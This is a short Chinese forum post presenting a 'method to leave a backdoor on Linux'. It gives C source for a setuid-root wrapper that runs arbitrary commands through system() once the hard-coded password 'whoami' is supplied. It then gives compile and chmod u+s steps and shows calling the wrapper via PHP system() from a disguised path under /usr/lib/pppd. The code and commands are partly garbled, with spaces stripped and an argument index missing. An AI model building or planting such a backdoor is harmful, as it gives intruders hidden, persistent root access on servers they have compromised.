linux下一种留后门的方法

[复制链接]
查看221 | 回复0 | 2012-4-1 19:16:02 | 显示全部楼层 |阅读模式
run.c
 
 
[pre]#include&nbsp;<stdio.h>&nbsp;#include&nbsp;<stdlib.h>&nbsp;#include&nbsp;<sys/types.h>&nbsp;#include&nbsp;<unistd.h>&nbsp;#include&nbsp;<string.h>&nbsp;int&nbsp;main(int&nbsp;argc,&nbsp;char*argv[])&nbsp;{&nbsp;char*pass=&quot;whoami&quot;;&nbsp;&nbsp;if(argc&nbsp;<&nbsp;3)&nbsp;{&nbsp;printf(&quot;error\n&quot;);&nbsp;return&nbsp;0;&nbsp;}&nbsp;uid_t&nbsp;uid&nbsp;,euid;&nbsp;uid&nbsp;=&nbsp;getuid();&nbsp;euid&nbsp;=&nbsp;geteuid();&nbsp;if(setreuid(euid,&nbsp;uid))&nbsp;perror(&quot;setreuid&quot;);&nbsp;int&nbsp;s;&nbsp;if(strcmp(argv[2],pass)==0)&nbsp;{&nbsp;for(s=3;s<argc;s++)&nbsp;{&nbsp;strcat(argv[1],&quot;&nbsp;&quot;);&nbsp;strcat(argv[1],argv);&nbsp;}&nbsp;system(argv[1]);&nbsp;}&nbsp;else&nbsp;{&nbsp;printf(&quot;\n------Password&nbsp;error------\n&quot;);&nbsp;}&nbsp;return&nbsp;0;&nbsp;}&nbsp;[/pre]
gcc-Wall-orunrun.c

chmodu+srun

然后用phpsystem执行

比如:

system(&lsquo;/usr/lib/pppd/runifconfigwhoami&rsquo;);

*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则